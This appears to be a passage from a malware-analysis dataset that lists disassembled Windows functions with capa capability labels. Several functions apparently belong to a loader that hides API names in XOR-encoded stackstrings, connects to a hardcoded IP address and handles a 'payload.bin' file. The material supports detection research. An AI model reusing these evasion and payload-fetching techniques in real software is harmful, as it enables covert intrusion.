joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140327232
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140370c68]
test eax, eax
je 0x1403272ca
lea rax, [0x140370c40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140370c70]
mov qword [rbp - 8], rax
jmp 0x1403272ae
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x1403272a2
cmp qword [rbp - 0x10], 0
je 0x1403272a2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140327268
lea rax, [0x140370c40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x1403272cb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1403273d0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1403273f8
mov eax, 0
jmp 0x140327446
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140327421
mov eax, 0
jmp 0x140327446
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140327441
mov eax, 0
jmp 0x140327446
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14032744c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1403274ca
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1403274c1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1403274c1
mov rax, qword [rbp - 8]
jmp 0x1403274df
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140327494
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14002953c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001cc04
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001cc04
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002968c
cmp rax, 0xffffffffffffffff
je 0x14002968c
xor edi, edi
test rbp, rbp
jle 0x140029637
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f530
mov rbx, rax
test rax, rax
jne 0x1400295c4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002962d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a538
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d8e0
cmp eax, 0xffffffff
je 0x14002960d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400295d4
mov edx, r15d
mov ecx, r14d
call fcn.14001a538
jmp 0x14002962d
cmp byte [rsi + 0x38], dil
je 0x140029624
cmp dword [rsi + 0x34], 5
jne 0x140029624
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002962d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b2cc
jmp 0x1400296a0
jns 0x1400296a0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001cc04
cmp rax, 0xffffffffffffffff
jne 0x140029658
cmp byte [rsi + 0x30], dil
je 0x1400296a0
mov edi, dword [rsi + 0x2c]
jmp 0x1400296a0
mov ecx, r14d
call fcn.1400189f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400296a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400296a0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029699
mov eax, dword [rsi + 0x2c]
jmp 0x14002969e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001cc04
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14270d560
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14270d56a
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x14270d593
pop rbp
sub rbp, 0x33
sub rbp, 0x270d560
sub rsp, 0x20
jmp 0x14270d5b2
mov rax, 0x270d560
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffb873fffb
xor byte [rax], dl
inc rax
dec rcx
jne 0x14270d5d1
jmp 0x14270d5e8
mov bl, 0x72
adc dh, byte [rax + 0x72]
invalid
Function at 0x14001c800
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x14009f040]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x14016b5b0]
mov edi, ecx
cmp byte [rbx + 0x4a9d], 0
jne 0x14001c861
cmp byte [rbx + 0x4a9e], 0
jne 0x14001c861
movsx r9d, word [rbx + 0x5bc2]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.14000b730
test dil, 1
je 0x14001c98f
jmp 0x14001c8e9
vmovss xmm1, dword [rbx + 0x389c]
vmovss xmm0, dword [0x140090ee4]
vfmadd213ss xmm0, xmm1, dword [rbx + 0xe0c]
vmovss xmm2, dword [0x140090f00]
vfmadd213ss xmm2, xmm1, dword [rbx + 0xe08]
movsx r9d, word [rbx + 0x5bc2]
lea r8, str.Tooltip__02d
xor eax, eax
mov dword [rbx + 0x47d4], 1
vmovss dword [rbx + 0x47e0], xmm2
vmovss dword [rbx + 0x47e4], xmm0
mov qword [rbx + 0x47e8], rax
lea rcx, [rsp + 0x20]
vmovss xmm0, dword [rbx + 0x3904]
vmulss xmm1, xmm0, dword [0x140090d80]
or dword [rbx + 0x47d0], 0x41
lea edx, [rax + 0x10]
vmovss dword [rbx + 0x4830], xmm1
call fcn.14000b730
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x14001c940
lea r11, [0x1400898f0]
nop dword [rax]
cmp r9b, 0x23
jne 0x14001c923
cmp byte [r8], r9b
jne 0x14001c923
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x14001c910
not ecx
call fcn.1400137d0
test rax, rax
je 0x14001c98f
cmp byte [rax + 0xb6], 0
je 0x14001c98f
mov byte [rax + 0xbb], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xbd], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xd8], 1
mov edx, 0x10
inc word [rbx + 0x5bc2]
movsx r9d, word [rbx + 0x5bc2]
call fcn.14000b730
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.140015f80
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14007f2a0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x180011159
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
jmp 0x1800129f0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
mov rax, qword [0x180058d80]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x18005e0f3]
call fcn.180011325
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x180012a81
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptAcquireContextW___u__n
call fcn.180011177
jmp 0x180012b91
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x800c
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x180012abc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptCreateHash___u__n
call fcn.180011177
jmp 0x180012b91
xor r9d, r9d
mov r8d, dword [rbp + 0x158]
mov rdx, qword [rbp + 0x150]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x180012af4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptHashData___u__n
call fcn.180011177
jmp 0x180012b91
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8, qword [rbp + 0x28]
mov edx, 0x6610
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x180012b2d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDeriveKey___u__n
call fcn.180011177
jmp 0x180012b91
lea rax, [rbp + 0x148]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x140]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x180012b71
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDecrypt___u__n
call fcn.180011177
jmp 0x180012b91
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
lea rcx, [rbp - 0x30]
lea rdx, [0x18001bb00]
call fcn.1800112b7
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.18001118b
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x1800111c7
Capabilities:
Terminate process

Disassembly:
jmp 0x180014510
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14002934c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c944
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c944
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002949c
cmp rax, 0xffffffffffffffff
je 0x14002949c
xor edi, edi
test rbp, rbp
jle 0x140029447
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f258
mov rbx, rax
test rax, rax
jne 0x1400293d4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002943d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a278
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d620
cmp eax, 0xffffffff
je 0x14002941d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400293e4
mov edx, r15d
mov ecx, r14d
call fcn.14001a278
jmp 0x14002943d
cmp byte [rsi + 0x38], dil
je 0x140029434
cmp dword [rsi + 0x34], 5
jne 0x140029434
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002943d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b00c
jmp 0x1400294b0
jns 0x1400294b0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c944
cmp rax, 0xffffffffffffffff
jne 0x140029468
cmp byte [rsi + 0x30], dil
je 0x1400294b0
mov edi, dword [rsi + 0x2c]
jmp 0x1400294b0
mov ecx, r14d
call fcn.140018730
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400294b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400294b0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400294a9
mov eax, dword [rsi + 0x2c]
jmp 0x1400294ae
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c944
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x140001000
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x490
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x480], rax
lea rcx, [rsp + 0x272]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x270], si
call fcn.1400057b0
lea rdx, [rsp + 0x270]
mov ecx, 0x104
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [rsp + 0x20]
mov r11d, eax
mov eax, 0x2a
lea rcx, [rsp + 0x270]
mov word [rsp + r11*2 + 0x270], ax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
nop
test byte [rsp + 0x20], 0x10
jne 0x140001089
inc ebx
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140001080
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp ebx, 0x1e
setl sil
mov eax, esi
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140001a90
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x1400010e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x69
xor ebx, ebx
mov dword [rbp - 0x40], 0x607051f
lea ecx, [rax - 0x15]
mov word [rbp - 0x2c], ax
mov eax, 0x70
mov word [rbp - 0x22], ax
mov eax, 0x6e
mov word [rbp - 0x18], cx
mov dword [rbp - 0x3c], 0x3f24353c
mov dword [rbp - 0x38], 0x260649
mov dword [rbp - 0x30], 0x6c0048
mov word [rbp - 0xe], ax
mov dword [rbp - 0x2a], 0x48004e
mov dword [rbp - 0x26], 0x540041
mov dword [rbp - 0x20], 0x630039
mov word [rbp - 0x1c], bx
mov dword [rbp - 0x16], 0x6e0065
mov dword [rbp - 0x12], 0x650063
mov dword [rbp - 0xc], 0x74
mov ecx, ebx
lea rdx, [rbp - 0x40]
lea r8d, [rbx + 0xb]
cmp word [rbp + rcx*2 - 0x30], bx
cmove rcx, rbx
inc rdx
movzx eax, byte [rbp + rcx*2 - 0x30]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001173
mov rcx, qword [0x14000bee0]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x18]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001a90
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret
Function at 0x1400011d0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x69
mov rbx, rcx
xor ecx, ecx
mov word [rbp - 0x20], ax
mov eax, 0x4a
mov dword [rbp - 0x30], 0x2f29233e
mov word [rbp - 0x1e], ax
mov eax, 0x47
mov dword [rbp - 0x2c], 0x1000445
mov word [rbp - 0x1c], ax
mov eax, 0x67
mov dword [rbp - 0x28], 0x2f070835
mov word [rbp - 0x1a], ax
mov eax, 0x31
mov word [rbp - 0x24], 0x1324
mov word [rbp - 0x18], ax
mov eax, 0x42
mov byte [rbp - 0x22], 0
mov word [rbp - 0x12], ax
mov eax, 0x5a
mov dword [rbp - 0x16], 0x700070
mov dword [rbp - 0xe], 0x66
mov edx, ecx
lea r8, [rbp - 0x30]
lea r9d, [rax - 0x4c]
mov word [rbp - 0x10], ax
nop word [rax + rax]
cmp word [rbp + rdx*2 - 0x20], cx
cmove rdx, rcx
inc r8
movzx eax, byte [rbp + rdx*2 - 0x20]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x140001270
mov rcx, qword [0x14000bee0]
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.45.195.204.59
mov r8d, 0x118
xor r9d, r9d
mov rcx, rbx
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001a90
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret

Function at 0x1400012d0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x65
xor edi, edi
mov rbx, rcx
mov word [rbp - 0x20], ax
mov eax, 0x6d
mov dword [rbp - 0x40], 0x4230432
mov word [rbp - 0x1e], ax
mov eax, 0x4d
mov dword [rbp - 0x3c], 0x2040061c
mov word [rbp - 0x1c], ax
mov eax, 0x4c
mov dword [rbp - 0x38], 0x3f0b3447
mov word [rbp - 0x1a], ax
mov eax, 0x68
mov dword [rbp - 0x34], 0x171d3d28
mov word [rbp - 0x18], ax
mov eax, 0x72
mov word [rbp - 0x30], 0x1b43
mov word [rbp - 0x16], ax
mov eax, 0x30
mov byte [rbp - 0x2e], 0
mov word [rbp - 0x14], ax
mov eax, 0x6f
mov dword [rbp - 0xe], 0x51
mov word [rbp - 0x12], ax
mov eax, 0x37
mov dword [rbp - 0x24], 0x54
mov word [rbp - 0x10], ax
mov eax, 0x47
mov edx, edi
mov word [rbp - 0x28], ax
mov eax, 0x45
lea r8, [rbp - 0x40]
mov word [rbp - 0x26], ax
lea r9d, [rdi + 0x12]
nop dword [rax]
cmp word [rbp + rdx*2 - 0x20], di
cmove rdx, rdi
inc r8
movzx eax, byte [rbp + rdx*2 - 0x20]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400013a0
mov rcx, qword [0x14000bee0]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x30], edi
lea r8, str.payload.bin
lea rdx, [rbp - 0x28]
xor r9d, r9d
mov rcx, rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001a90
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140001410
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov eax, 0x6f
xor edi, edi
mov rbx, rcx
mov word [rbp - 0x24], ax
mov eax, 0x50
mov dword [rbp - 0x40], 0x18010422
mov word [rbp - 0x22], ax
mov eax, 0x51
mov dword [rbp - 0x3c], 0x3b053b25
mov word [rbp - 0x20], ax
mov eax, 0x68
mov dword [rbp - 0x38], 0x3f110a1d
mov word [rbp - 0x1a], ax
mov eax, 0x78
mov dword [rbp - 0x34], 0x2a24210a
mov word [rbp - 0x30], 0x1c06
mov byte [rbp - 0x2e], 0
mov dword [rbp - 0x28], 0x6d0075
lea r9d, [rax - 0x66]
mov dword [rbp - 0x1e], 0x75004f
mov word [rbp - 0x18], ax
mov dword [rbp - 0x16], 0x64
mov edx, edi
lea r8, [rbp - 0x40]
nop word [rax + rax]
cmp word [rbp + rdx*2 - 0x28], di
cmove rdx, rdi
inc r8
movzx eax, byte [rbp + rdx*2 - 0x28]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400014b0
mov rcx, qword [0x14000bee0]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call rax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001a90
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x140001520
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov eax, 0x56
mov rbx, rcx
xor ecx, ecx
mov word [rbp - 0x28], ax
mov eax, 0x47
mov dword [rbp - 0x40], 0x24032e01
mov word [rbp - 0x26], ax
mov eax, 0x6d
mov dword [rbp - 0x3c], 0x1d1e3941
mov word [rbp - 0x24], ax
mov eax, 0x6c
mov dword [rbp - 0x38], 0x2e332d0b
mov word [rbp - 0x22], ax
mov eax, 0x35
mov dword [rbp - 0x34], 0x2867091b
mov dword [rbp - 0x30], 0x20013f1d
mov word [rbp - 0x2c], 0x2225
mov byte [rbp - 0x2a], 0
lea r9d, [rax - 0x1f]
mov word [rbp - 0x20], ax
mov dword [rbp - 0x1e], 0x6e004d
mov dword [rbp - 0x1a], 0x6e004f
mov dword [rbp - 0x16], 0x4e
mov edx, ecx
lea r8, [rbp - 0x40]
nop dword [rax]
cmp word [rbp + rdx*2 - 0x28], cx
cmove rdx, rcx
inc r8
movzx eax, byte [rbp + rdx*2 - 0x28]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400015c0
mov rcx, qword [0x14000bee0]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov rcx, rbx
call rax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001a90
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rbp
ret
Function at 0x140001610
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
mov eax, 0x31
mov rbx, rcx
mov word [rbp + 0xb], ax
mov eax, 0x65
mov dword [rbp - 0x21], 0x1a2302
mov word [rbp + 0xd], ax
mov eax, 0x30
mov dword [rbp - 0x1d], 0x34413136
mov word [rbp + 0xf], ax
mov eax, 0x63
mov dword [rbp - 0x19], 0x33270845
mov word [rbp + 0x33], ax
mov eax, 0x72
mov dword [rbp - 0x15], 0x24362930
mov word [rbp + 0x35], ax
mov eax, 0x54
mov dword [rbp - 0x11], 0x4511370
mov word [rbp + 0x3b], ax
mov eax, 0x70
mov dword [rbp - 0xd], 0x24162b39
mov word [rbp + 0x3d], ax
mov eax, 0x4b
mov word [rbp - 9], 0x27
mov word [rbp + 0x17], ax
mov eax, 0x64
mov dword [rbp - 1], 0x4a0055
mov dword [rbp + 3], 0x480074
mov dword [rbp + 7], 0x450042
mov dword [rbp + 0x11], 0x6d
mov word [rbp + 0x25], ax
mov dword [rbp - 0x49], 0x3a0d3c12
mov dword [rbp - 0x45], 0x2224210e
mov dword [rbp - 0x41], 0x11211533
mov dword [rbp - 0x3d], 0x1b0602
mov dword [rbp + 0x2f], 0x550045
mov dword [rbp + 0x37], 0x55007a
mov dword [rbp + 0x3f], 0x740056
mov word [rbp + 0x43], di
mov dword [rbp - 0x39], 0x3c09261c
mov dword [rbp - 0x35], 0x27171239
mov dword [rbp - 0x31], 0x2a380804
mov dword [rbp - 0x2d], 0x223152f
mov word [rbp - 0x29], 0x10b
mov byte [rbp - 0x27], dil
mov dword [rbp + 0x19], 0x67004f
mov dword [rbp + 0x1d], 0x4d0074
mov dword [rbp + 0x21], 0x670066
mov dword [rbp + 0x27], 0x670068
mov word [rbp + 0x2b], di
mov ecx, edi
lea rdx, [rbp - 0x21]
lea r8d, [rdi + 0x19]
nop dword [rax]
cmp word [rbp + rcx*2 - 1], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rbp + rcx*2 - 1]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001760
mov rcx, qword [0x14000bee0]
lea rdx, [rbp - 0x21]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
lea rdx, [rbp - 0x49]
mov qword [rbx], rax
mov r8d, 0xf
nop dword [rax]
